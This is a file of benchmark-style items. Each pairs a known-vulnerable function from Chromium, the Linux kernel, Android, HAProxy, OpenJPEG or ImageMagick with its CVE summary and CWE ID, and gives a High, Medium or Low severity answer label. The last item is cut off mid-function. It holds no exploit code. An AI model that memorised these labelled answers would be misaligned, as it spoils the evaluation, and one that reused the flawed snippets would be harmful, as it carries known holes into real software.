Code: void WallpaperManager::OnWallpaperDecoded( const AccountId& account_id, const wallpaper::WallpaperInfo& info, bool update_wallpaper, MovableOnDestroyCallbackHolder on_finish, std::unique_ptr<user_manager::UserImage> user_image) { DCHECK_CURRENTLY_ON(BrowserThread::UI); TRACE_EVENT_ASYNC_END0("ui", "LoadAndDecodeWallpaper", this); if (user_image->image().isNull()) { wallpaper::WallpaperInfo default_info( "", wallpaper::WALLPAPER_LAYOUT_CENTER_CROPPED, wallpaper::DEFAULT, base::Time::Now().LocalMidnight()); SetUserWallpaperInfo(account_id, default_info, true); if (update_wallpaper) DoSetDefaultWallpaper(account_id, std::move(on_finish)); return; } wallpaper_cache_[account_id].second = user_image->image(); if (update_wallpaper) SetWallpaper(user_image->image(), info); } Vulnerability Type: XSS +Info CWE ID: CWE-200 Summary: The XSSAuditor::canonicalize function in core/html/parser/XSSAuditor.cpp in the XSS auditor in Blink, as used in Google Chrome before 44.0.2403.89, does not properly choose a truncation point, which makes it easier for remote attackers to obtain sensitive information via an unspecified linear-time attack. Commit Message: [reland] Do not set default wallpaper unless it should do so. [email protected], [email protected] Bug: 751382 Change-Id: Id0793dfe467f737526a95b1e66ed01fbb8860bda Reviewed-on: https://chromium-review.googlesource.com/619754 Commit-Queue: Xiaoqian Dai <[email protected]> Reviewed-by: Alexander Alekseev <[email protected]> Reviewed-by: Biao She <[email protected]> Cr-Original-Commit-Position: refs/heads/master@{#498325} Reviewed-on: https://chromium-review.googlesource.com/646430 Cr-Commit-Position: refs/heads/master@{#498982}
Medium
171,968
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void si_conn_send(struct connection *conn) { struct stream_interface *si = conn->owner; struct channel *chn = si->ob; int ret; if (chn->pipe && conn->xprt->snd_pipe) { ret = conn->xprt->snd_pipe(conn, chn->pipe); if (ret > 0) chn->flags |= CF_WRITE_PARTIAL; if (!chn->pipe->data) { put_pipe(chn->pipe); chn->pipe = NULL; } if (conn->flags & CO_FL_ERROR) return; } /* At this point, the pipe is empty, but we may still have data pending * in the normal buffer. */ if (!chn->buf->o) return; /* when we're here, we already know that there is no spliced * data left, and that there are sendable buffered data. */ if (!(conn->flags & (CO_FL_ERROR | CO_FL_SOCK_WR_SH | CO_FL_DATA_WR_SH | CO_FL_WAIT_DATA | CO_FL_HANDSHAKE))) { /* check if we want to inform the kernel that we're interested in * sending more data after this call. We want this if : * - we're about to close after this last send and want to merge * the ongoing FIN with the last segment. * - we know we can't send everything at once and must get back * here because of unaligned data * - there is still a finite amount of data to forward * The test is arranged so that the most common case does only 2 * tests. */ unsigned int send_flag = 0; if ((!(chn->flags & (CF_NEVER_WAIT|CF_SEND_DONTWAIT)) && ((chn->to_forward && chn->to_forward != CHN_INFINITE_FORWARD) || (chn->flags & CF_EXPECT_MORE))) || ((chn->flags & (CF_SHUTW|CF_SHUTW_NOW)) == CF_SHUTW_NOW)) send_flag |= CO_SFL_MSG_MORE; if (chn->flags & CF_STREAMER) send_flag |= CO_SFL_STREAMER; ret = conn->xprt->snd_buf(conn, chn->buf, send_flag); if (ret > 0) { chn->flags |= CF_WRITE_PARTIAL; if (!chn->buf->o) { /* Always clear both flags once everything has been sent, they're one-shot */ chn->flags &= ~(CF_EXPECT_MORE | CF_SEND_DONTWAIT); } /* if some data remain in the buffer, it's only because the * system buffers are full, we will try next time. */ } } return; } Vulnerability Type: DoS Overflow CWE ID: CWE-189 Summary: Multiple integer overflows in the http_request_forward_body function in proto_http.c in HAProxy 1.5-dev23 before 1.5.4 allow remote attackers to cause a denial of service (crash) via a large stream of data, which triggers a buffer overflow and an out-of-bounds read. Commit Message:
Medium
164,991
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: LayerTreeHost::LayerTreeHost(InitParams* params, CompositorMode mode) : micro_benchmark_controller_(this), image_worker_task_runner_(params->image_worker_task_runner), compositor_mode_(mode), ui_resource_manager_(base::MakeUnique<UIResourceManager>()), client_(params->client), rendering_stats_instrumentation_(RenderingStatsInstrumentation::Create()), settings_(*params->settings), debug_state_(settings_.initial_debug_state), id_(s_layer_tree_host_sequence_number.GetNext() + 1), task_graph_runner_(params->task_graph_runner), event_listener_properties_(), mutator_host_(params->mutator_host) { DCHECK(task_graph_runner_); DCHECK(!settings_.enable_checker_imaging || image_worker_task_runner_); DCHECK(!settings_.enable_checker_imaging || settings_.image_decode_tasks_enabled); mutator_host_->SetMutatorHostClient(this); rendering_stats_instrumentation_->set_record_rendering_stats( debug_state_.RecordRenderingStats()); } Vulnerability Type: CWE ID: CWE-362 Summary: A race condition in navigation in Google Chrome prior to 58.0.3029.81 for Linux, Windows, and Mac allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. Commit Message: (Reland) Discard compositor frames from unloaded web content This is a reland of https://codereview.chromium.org/2707243005/ with a small change to fix an uninitialized memory error that fails on MSAN bots. BUG=672847 [email protected], [email protected] CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_site_isolation Review-Url: https://codereview.chromium.org/2731283003 Cr-Commit-Position: refs/heads/master@{#454954}
Low
172,394
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: struct dst_entry *inet_csk_route_req(struct sock *sk, const struct request_sock *req) { struct rtable *rt; const struct inet_request_sock *ireq = inet_rsk(req); struct ip_options *opt = inet_rsk(req)->opt; struct net *net = sock_net(sk); struct flowi4 fl4; flowi4_init_output(&fl4, sk->sk_bound_dev_if, sk->sk_mark, RT_CONN_FLAGS(sk), RT_SCOPE_UNIVERSE, sk->sk_protocol, inet_sk_flowi_flags(sk), (opt && opt->srr) ? opt->faddr : ireq->rmt_addr, ireq->loc_addr, ireq->rmt_port, inet_sk(sk)->inet_sport); security_req_classify_flow(req, flowi4_to_flowi(&fl4)); rt = ip_route_output_flow(net, &fl4, sk); if (IS_ERR(rt)) goto no_route; if (opt && opt->is_strictroute && rt->rt_dst != rt->rt_gateway) goto route_err; return &rt->dst; route_err: ip_rt_put(rt); no_route: IP_INC_STATS_BH(net, IPSTATS_MIB_OUTNOROUTES); return NULL; } Vulnerability Type: DoS CWE ID: CWE-362 Summary: Race condition in the IP implementation in the Linux kernel before 3.0 might allow remote attackers to cause a denial of service (slab corruption and system crash) by sending packets to an application that sets socket options during the handling of network traffic. Commit Message: inet: add RCU protection to inet->opt We lack proper synchronization to manipulate inet->opt ip_options Problem is ip_make_skb() calls ip_setup_cork() and ip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options), without any protection against another thread manipulating inet->opt. Another thread can change inet->opt pointer and free old one under us. Use RCU to protect inet->opt (changed to inet->inet_opt). Instead of handling atomic refcounts, just copy ip_options when necessary, to avoid cache line dirtying. We cant insert an rcu_head in struct ip_options since its included in skb->cb[], so this patch is large because I had to introduce a new ip_options_rcu structure. Signed-off-by: Eric Dumazet <[email protected]> Cc: Herbert Xu <[email protected]> Signed-off-by: David S. Miller <[email protected]>
Medium
165,555
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: unsigned paravirt_patch_call(void *insnbuf, const void *target, u16 tgt_clobbers, unsigned long addr, u16 site_clobbers, unsigned len) { struct branch *b = insnbuf; unsigned long delta = (unsigned long)target - (addr+5); if (tgt_clobbers & ~site_clobbers) return len; /* target would clobber too much for this site */ if (len < 5) return len; /* call too long for patch site */ b->opcode = 0xe8; /* call */ b->delta = delta; BUILD_BUG_ON(sizeof(*b) != 5); return 5; } Vulnerability Type: +Info CWE ID: CWE-200 Summary: arch/x86/kernel/paravirt.c in the Linux kernel before 4.18.1 mishandles certain indirect calls, which makes it easier for attackers to conduct Spectre-v2 attacks against paravirtual guests. Commit Message: x86/paravirt: Fix spectre-v2 mitigations for paravirt guests Nadav reported that on guests we're failing to rewrite the indirect calls to CALLEE_SAVE paravirt functions. In particular the pv_queued_spin_unlock() call is left unpatched and that is all over the place. This obviously wrecks Spectre-v2 mitigation (for paravirt guests) which relies on not actually having indirect calls around. The reason is an incorrect clobber test in paravirt_patch_call(); this function rewrites an indirect call with a direct call to the _SAME_ function, there is no possible way the clobbers can be different because of this. Therefore remove this clobber check. Also put WARNs on the other patch failure case (not enough room for the instruction) which I've not seen trigger in my (limited) testing. Three live kernel image disassemblies for lock_sock_nested (as a small function that illustrates the problem nicely). PRE is the current situation for guests, POST is with this patch applied and NATIVE is with or without the patch for !guests. PRE: (gdb) disassemble lock_sock_nested Dump of assembler code for function lock_sock_nested: 0xffffffff817be970 <+0>: push %rbp 0xffffffff817be971 <+1>: mov %rdi,%rbp 0xffffffff817be974 <+4>: push %rbx 0xffffffff817be975 <+5>: lea 0x88(%rbp),%rbx 0xffffffff817be97c <+12>: callq 0xffffffff819f7160 <_cond_resched> 0xffffffff817be981 <+17>: mov %rbx,%rdi 0xffffffff817be984 <+20>: callq 0xffffffff819fbb00 <_raw_spin_lock_bh> 0xffffffff817be989 <+25>: mov 0x8c(%rbp),%eax 0xffffffff817be98f <+31>: test %eax,%eax 0xffffffff817be991 <+33>: jne 0xffffffff817be9ba <lock_sock_nested+74> 0xffffffff817be993 <+35>: movl $0x1,0x8c(%rbp) 0xffffffff817be99d <+45>: mov %rbx,%rdi 0xffffffff817be9a0 <+48>: callq *0xffffffff822299e8 0xffffffff817be9a7 <+55>: pop %rbx 0xffffffff817be9a8 <+56>: pop %rbp 0xffffffff817be9a9 <+57>: mov $0x200,%esi 0xffffffff817be9ae <+62>: mov $0xffffffff817be993,%rdi 0xffffffff817be9b5 <+69>: jmpq 0xffffffff81063ae0 <__local_bh_enable_ip> 0xffffffff817be9ba <+74>: mov %rbp,%rdi 0xffffffff817be9bd <+77>: callq 0xffffffff817be8c0 <__lock_sock> 0xffffffff817be9c2 <+82>: jmp 0xffffffff817be993 <lock_sock_nested+35> End of assembler dump. POST: (gdb) disassemble lock_sock_nested Dump of assembler code for function lock_sock_nested: 0xffffffff817be970 <+0>: push %rbp 0xffffffff817be971 <+1>: mov %rdi,%rbp 0xffffffff817be974 <+4>: push %rbx 0xffffffff817be975 <+5>: lea 0x88(%rbp),%rbx 0xffffffff817be97c <+12>: callq 0xffffffff819f7160 <_cond_resched> 0xffffffff817be981 <+17>: mov %rbx,%rdi 0xffffffff817be984 <+20>: callq 0xffffffff819fbb00 <_raw_spin_lock_bh> 0xffffffff817be989 <+25>: mov 0x8c(%rbp),%eax 0xffffffff817be98f <+31>: test %eax,%eax 0xffffffff817be991 <+33>: jne 0xffffffff817be9ba <lock_sock_nested+74> 0xffffffff817be993 <+35>: movl $0x1,0x8c(%rbp) 0xffffffff817be99d <+45>: mov %rbx,%rdi 0xffffffff817be9a0 <+48>: callq 0xffffffff810a0c20 <__raw_callee_save___pv_queued_spin_unlock> 0xffffffff817be9a5 <+53>: xchg %ax,%ax 0xffffffff817be9a7 <+55>: pop %rbx 0xffffffff817be9a8 <+56>: pop %rbp 0xffffffff817be9a9 <+57>: mov $0x200,%esi 0xffffffff817be9ae <+62>: mov $0xffffffff817be993,%rdi 0xffffffff817be9b5 <+69>: jmpq 0xffffffff81063aa0 <__local_bh_enable_ip> 0xffffffff817be9ba <+74>: mov %rbp,%rdi 0xffffffff817be9bd <+77>: callq 0xffffffff817be8c0 <__lock_sock> 0xffffffff817be9c2 <+82>: jmp 0xffffffff817be993 <lock_sock_nested+35> End of assembler dump. NATIVE: (gdb) disassemble lock_sock_nested Dump of assembler code for function lock_sock_nested: 0xffffffff817be970 <+0>: push %rbp 0xffffffff817be971 <+1>: mov %rdi,%rbp 0xffffffff817be974 <+4>: push %rbx 0xffffffff817be975 <+5>: lea 0x88(%rbp),%rbx 0xffffffff817be97c <+12>: callq 0xffffffff819f7160 <_cond_resched> 0xffffffff817be981 <+17>: mov %rbx,%rdi 0xffffffff817be984 <+20>: callq 0xffffffff819fbb00 <_raw_spin_lock_bh> 0xffffffff817be989 <+25>: mov 0x8c(%rbp),%eax 0xffffffff817be98f <+31>: test %eax,%eax 0xffffffff817be991 <+33>: jne 0xffffffff817be9ba <lock_sock_nested+74> 0xffffffff817be993 <+35>: movl $0x1,0x8c(%rbp) 0xffffffff817be99d <+45>: mov %rbx,%rdi 0xffffffff817be9a0 <+48>: movb $0x0,(%rdi) 0xffffffff817be9a3 <+51>: nopl 0x0(%rax) 0xffffffff817be9a7 <+55>: pop %rbx 0xffffffff817be9a8 <+56>: pop %rbp 0xffffffff817be9a9 <+57>: mov $0x200,%esi 0xffffffff817be9ae <+62>: mov $0xffffffff817be993,%rdi 0xffffffff817be9b5 <+69>: jmpq 0xffffffff81063ae0 <__local_bh_enable_ip> 0xffffffff817be9ba <+74>: mov %rbp,%rdi 0xffffffff817be9bd <+77>: callq 0xffffffff817be8c0 <__lock_sock> 0xffffffff817be9c2 <+82>: jmp 0xffffffff817be993 <lock_sock_nested+35> End of assembler dump. Fixes: 63f70270ccd9 ("[PATCH] i386: PARAVIRT: add common patching machinery") Fixes: 3010a0663fd9 ("x86/paravirt, objtool: Annotate indirect calls") Reported-by: Nadav Amit <[email protected]> Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Signed-off-by: Thomas Gleixner <[email protected]> Reviewed-by: Juergen Gross <[email protected]> Cc: Konrad Rzeszutek Wilk <[email protected]> Cc: Boris Ostrovsky <[email protected]> Cc: David Woodhouse <[email protected]> Cc: [email protected]
Low
169,099
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void EmulationHandler::SetRenderer(RenderProcessHost* process_host, RenderFrameHostImpl* frame_host) { if (host_ == frame_host) return; host_ = frame_host; if (touch_emulation_enabled_) UpdateTouchEventEmulationState(); UpdateDeviceEmulationState(); } Vulnerability Type: Exec Code CWE ID: CWE-20 Summary: An object lifetime issue in the developer tools network handler in Google Chrome prior to 66.0.3359.117 allowed a local attacker to execute arbitrary code via a crafted HTML page. Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable This keeps BrowserContext* and StoragePartition* instead of RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost upon closure of DevTools front-end. Bug: 801117, 783067, 780694 Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b Reviewed-on: https://chromium-review.googlesource.com/876657 Commit-Queue: Andrey Kosyakov <[email protected]> Reviewed-by: Dmitry Gozman <[email protected]> Cr-Commit-Position: refs/heads/master@{#531157}
Medium
172,746
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void update_exception_bitmap(struct kvm_vcpu *vcpu) { u32 eb; eb = (1u << PF_VECTOR) | (1u << UD_VECTOR) | (1u << MC_VECTOR) | (1u << NM_VECTOR) | (1u << DB_VECTOR); if ((vcpu->guest_debug & (KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_USE_SW_BP)) == (KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_USE_SW_BP)) eb |= 1u << BP_VECTOR; if (to_vmx(vcpu)->rmode.vm86_active) eb = ~0; if (enable_ept) eb &= ~(1u << PF_VECTOR); /* bypass_guest_pf = 0 */ if (vcpu->fpu_active) eb &= ~(1u << NM_VECTOR); /* When we are running a nested L2 guest and L1 specified for it a * certain exception bitmap, we must trap the same exceptions and pass * them to L1. When running L2, we will only handle the exceptions * specified above if L1 did not want them. */ if (is_guest_mode(vcpu)) eb |= get_vmcs12(vcpu)->exception_bitmap; vmcs_write32(EXCEPTION_BITMAP, eb); } Vulnerability Type: DoS CWE ID: CWE-399 Summary: The KVM subsystem in the Linux kernel through 4.2.6, and Xen 4.3.x through 4.6.x, allows guest OS users to cause a denial of service (host OS panic or hang) by triggering many #AC (aka Alignment Check) exceptions, related to svm.c and vmx.c. Commit Message: KVM: x86: work around infinite loop in microcode when #AC is delivered It was found that a guest can DoS a host by triggering an infinite stream of "alignment check" (#AC) exceptions. This causes the microcode to enter an infinite loop where the core never receives another interrupt. The host kernel panics pretty quickly due to the effects (CVE-2015-5307). Signed-off-by: Eric Northup <[email protected]> Cc: [email protected] Signed-off-by: Paolo Bonzini <[email protected]>
Medium
166,600
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void SoundPool::doLoad(sp<Sample>& sample) { ALOGV("doLoad: loading sample sampleID=%d", sample->sampleID()); sample->startLoad(); mDecodeThread->loadSample(sample->sampleID()); } Vulnerability Type: +Priv CWE ID: CWE-264 Summary: media/libmedia/SoundPool.cpp in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49G, and 6.x before 2016-02-01 mishandles locking requirements, which allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 25781119. Commit Message: DO NOT MERGE SoundPool: add lock for findSample access from SoundPoolThread Sample decoding still occurs in SoundPoolThread without holding the SoundPool lock. Bug: 25781119 Change-Id: I11fde005aa9cf5438e0390a0d2dfe0ec1dd282e8
Medium
173,960
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: status_t MediaPlayerService::Client::setNextPlayer(const sp<IMediaPlayer>& player) { ALOGV("setNextPlayer"); Mutex::Autolock l(mLock); sp<Client> c = static_cast<Client*>(player.get()); mNextClient = c; if (c != NULL) { if (mAudioOutput != NULL) { mAudioOutput->setNextOutput(c->mAudioOutput); } else if ((mPlayer != NULL) && !mPlayer->hardwareOutput()) { ALOGE("no current audio output"); } if ((mPlayer != NULL) && (mNextClient->getPlayer() != NULL)) { mPlayer->setNextPlayer(mNextClient->getPlayer()); } } return OK; } Vulnerability Type: +Priv CWE ID: CWE-264 Summary: media/libmediaplayerservice/MediaPlayerService.cpp in mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, 6.x before 2016-10-01, and 7.0 before 2016-10-01 does not validate a certain static_cast operation, which allows attackers to gain privileges via a crafted application, aka internal bug 30204103. Commit Message: MediaPlayerService: avoid invalid static cast Bug: 30204103 Change-Id: Ie0dd3568a375f1e9fed8615ad3d85184bcc99028 (cherry picked from commit ee0a0e39acdcf8f97e0d6945c31ff36a06a36e9d)
High
173,398
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void PageHandler::PrintToPDF(Maybe<bool> landscape, Maybe<bool> display_header_footer, Maybe<bool> print_background, Maybe<double> scale, Maybe<double> paper_width, Maybe<double> paper_height, Maybe<double> margin_top, Maybe<double> margin_bottom, Maybe<double> margin_left, Maybe<double> margin_right, Maybe<String> page_ranges, Maybe<bool> ignore_invalid_page_ranges, std::unique_ptr<PrintToPDFCallback> callback) { callback->sendFailure(Response::Error("PrintToPDF is not implemented")); return; } Vulnerability Type: Bypass CWE ID: CWE-20 Summary: Failure to apply Mark-of-the-Web in Downloads in Google Chrome prior to 65.0.3325.146 allowed a remote attacker to bypass OS level controls via a crafted HTML page. Commit Message: DevTools: allow styling the page number element when printing over the protocol. Bug: none Change-Id: I13e6afbd86a7c6bcdedbf0645183194b9de7cfb4 Reviewed-on: https://chromium-review.googlesource.com/809759 Commit-Queue: Pavel Feldman <[email protected]> Reviewed-by: Lei Zhang <[email protected]> Reviewed-by: Tom Sepez <[email protected]> Reviewed-by: Jianzhou Feng <[email protected]> Cr-Commit-Position: refs/heads/master@{#523966}
Medium
172,900
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void opj_get_encoding_parameters(const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res) { /* loop */ OPJ_UINT32 compno, resno; /* pointers */ const opj_tcp_t *l_tcp = 00; const opj_tccp_t * l_tccp = 00; const opj_image_comp_t * l_img_comp = 00; /* position in x and y of tile */ OPJ_UINT32 p, q; /* preconditions */ assert(p_cp != 00); assert(p_image != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations */ l_tcp = &p_cp->tcps [p_tileno]; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; /* here calculation of tx0, tx1, ty0, ty1, maxprec, dx and dy */ p = p_tileno % p_cp->tw; q = p_tileno / p_cp->tw; /* find extent of tile */ *p_tx0 = opj_int_max((OPJ_INT32)(p_cp->tx0 + p * p_cp->tdx), (OPJ_INT32)p_image->x0); *p_tx1 = opj_int_min((OPJ_INT32)(p_cp->tx0 + (p + 1) * p_cp->tdx), (OPJ_INT32)p_image->x1); *p_ty0 = opj_int_max((OPJ_INT32)(p_cp->ty0 + q * p_cp->tdy), (OPJ_INT32)p_image->y0); *p_ty1 = opj_int_min((OPJ_INT32)(p_cp->ty0 + (q + 1) * p_cp->tdy), (OPJ_INT32)p_image->y1); /* max precision is 0 (can only grow) */ *p_max_prec = 0; *p_max_res = 0; /* take the largest value for dx_min and dy_min */ *p_dx_min = 0x7fffffff; *p_dy_min = 0x7fffffff; for (compno = 0; compno < p_image->numcomps; ++compno) { /* arithmetic variables to calculate */ OPJ_UINT32 l_level_no; OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1; OPJ_INT32 l_px0, l_py0, l_px1, py1; OPJ_UINT32 l_pdx, l_pdy; OPJ_UINT32 l_pw, l_ph; OPJ_UINT32 l_product; OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1; l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx); l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy); l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx); l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy); if (l_tccp->numresolutions > *p_max_res) { *p_max_res = l_tccp->numresolutions; } /* use custom size for precincts */ for (resno = 0; resno < l_tccp->numresolutions; ++resno) { OPJ_UINT32 l_dx, l_dy; /* precinct width and height */ l_pdx = l_tccp->prcw[resno]; l_pdy = l_tccp->prch[resno]; l_dx = l_img_comp->dx * (1u << (l_pdx + l_tccp->numresolutions - 1 - resno)); l_dy = l_img_comp->dy * (1u << (l_pdy + l_tccp->numresolutions - 1 - resno)); /* take the minimum size for dx for each comp and resolution */ *p_dx_min = opj_uint_min(*p_dx_min, l_dx); *p_dy_min = opj_uint_min(*p_dy_min, l_dy); /* various calculations of extents */ l_level_no = l_tccp->numresolutions - 1 - resno; l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no); l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no); l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no); l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no); l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx; l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy; l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx; py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy; l_pw = (l_rx0 == l_rx1) ? 0 : (OPJ_UINT32)((l_px1 - l_px0) >> l_pdx); l_ph = (l_ry0 == l_ry1) ? 0 : (OPJ_UINT32)((py1 - l_py0) >> l_pdy); l_product = l_pw * l_ph; /* update precision */ if (l_product > *p_max_prec) { *p_max_prec = l_product; } } ++l_img_comp; ++l_tccp; } } Vulnerability Type: Overflow CWE ID: CWE-190 Summary: An improper computation of p_tx0, p_tx1, p_ty0 and p_ty1 in the function opj_get_encoding_parameters in openjp2/pi.c in OpenJPEG through 2.3.0 can lead to an integer overflow. Commit Message: [OPENJP2] change the way to compute *p_tx0, *p_tx1, *p_ty0, *p_ty1 in function opj_get_encoding_parameters Signed-off-by: Young_X <[email protected]>
Medium
169,766
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static MagickBooleanType WriteOnePNGImage(MngInfo *mng_info, const ImageInfo *IMimage_info,Image *IMimage,ExceptionInfo *exception) { char im_vers[32], libpng_runv[32], libpng_vers[32], zlib_runv[32], zlib_vers[32]; Image *image; ImageInfo *image_info; char s[2]; const char *name, *property, *value; const StringInfo *profile; int num_passes, pass, ping_wrote_caNv; png_byte ping_trans_alpha[256]; png_color palette[257]; png_color_16 ping_background, ping_trans_color; png_info *ping_info; png_struct *ping; png_uint_32 ping_height, ping_width; ssize_t y; MagickBooleanType image_matte, logging, matte, ping_have_blob, ping_have_cheap_transparency, ping_have_color, ping_have_non_bw, ping_have_PLTE, ping_have_bKGD, ping_have_eXIf, ping_have_iCCP, ping_have_pHYs, ping_have_sRGB, ping_have_tRNS, ping_exclude_bKGD, ping_exclude_cHRM, ping_exclude_date, /* ping_exclude_EXIF, */ ping_exclude_eXIf, ping_exclude_gAMA, ping_exclude_iCCP, /* ping_exclude_iTXt, */ ping_exclude_oFFs, ping_exclude_pHYs, ping_exclude_sRGB, ping_exclude_tEXt, ping_exclude_tIME, /* ping_exclude_tRNS, */ ping_exclude_vpAg, ping_exclude_caNv, ping_exclude_zCCP, /* hex-encoded iCCP */ ping_exclude_zTXt, ping_preserve_colormap, ping_preserve_iCCP, ping_need_colortype_warning, status, tried_332, tried_333, tried_444; MemoryInfo *volatile pixel_info; QuantumInfo *quantum_info; PNGErrorInfo error_info; register ssize_t i, x; unsigned char *ping_pixels; volatile int image_colors, ping_bit_depth, ping_color_type, ping_interlace_method, ping_compression_method, ping_filter_method, ping_num_trans; volatile size_t image_depth, old_bit_depth; size_t quality, rowbytes, save_image_depth; int j, number_colors, number_opaque, number_semitransparent, number_transparent, ping_pHYs_unit_type; png_uint_32 ping_pHYs_x_resolution, ping_pHYs_y_resolution; logging=LogMagickEvent(CoderEvent,GetMagickModule(), " Enter WriteOnePNGImage()"); image = CloneImage(IMimage,0,0,MagickFalse,exception); image_info=(ImageInfo *) CloneImageInfo(IMimage_info); if (image_info == (ImageInfo *) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); /* Define these outside of the following "if logging()" block so they will * show in debuggers. */ *im_vers='\0'; (void) ConcatenateMagickString(im_vers, MagickLibVersionText,MagickPathExtent); (void) ConcatenateMagickString(im_vers, MagickLibAddendum,MagickPathExtent); *libpng_vers='\0'; (void) ConcatenateMagickString(libpng_vers, PNG_LIBPNG_VER_STRING,32); *libpng_runv='\0'; (void) ConcatenateMagickString(libpng_runv, png_get_libpng_ver(NULL),32); *zlib_vers='\0'; (void) ConcatenateMagickString(zlib_vers, ZLIB_VERSION,32); *zlib_runv='\0'; (void) ConcatenateMagickString(zlib_runv, zlib_version,32); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule()," IM version = %s", im_vers); (void) LogMagickEvent(CoderEvent,GetMagickModule()," Libpng version = %s", libpng_vers); if (LocaleCompare(libpng_vers,libpng_runv) != 0) { (void) LogMagickEvent(CoderEvent,GetMagickModule()," running with %s", libpng_runv); } (void) LogMagickEvent(CoderEvent,GetMagickModule()," Zlib version = %s", zlib_vers); if (LocaleCompare(zlib_vers,zlib_runv) != 0) { (void) LogMagickEvent(CoderEvent,GetMagickModule()," running with %s", zlib_runv); } } /* Initialize some stuff */ ping_bit_depth=0, ping_color_type=0, ping_interlace_method=0, ping_compression_method=0, ping_filter_method=0, ping_num_trans = 0; ping_background.red = 0; ping_background.green = 0; ping_background.blue = 0; ping_background.gray = 0; ping_background.index = 0; ping_trans_color.red=0; ping_trans_color.green=0; ping_trans_color.blue=0; ping_trans_color.gray=0; ping_pHYs_unit_type = 0; ping_pHYs_x_resolution = 0; ping_pHYs_y_resolution = 0; ping_have_blob=MagickFalse; ping_have_cheap_transparency=MagickFalse; ping_have_color=MagickTrue; ping_have_non_bw=MagickTrue; ping_have_PLTE=MagickFalse; ping_have_bKGD=MagickFalse; ping_have_eXIf=MagickTrue; ping_have_iCCP=MagickFalse; ping_have_pHYs=MagickFalse; ping_have_sRGB=MagickFalse; ping_have_tRNS=MagickFalse; ping_exclude_bKGD=mng_info->ping_exclude_bKGD; ping_exclude_caNv=mng_info->ping_exclude_caNv; 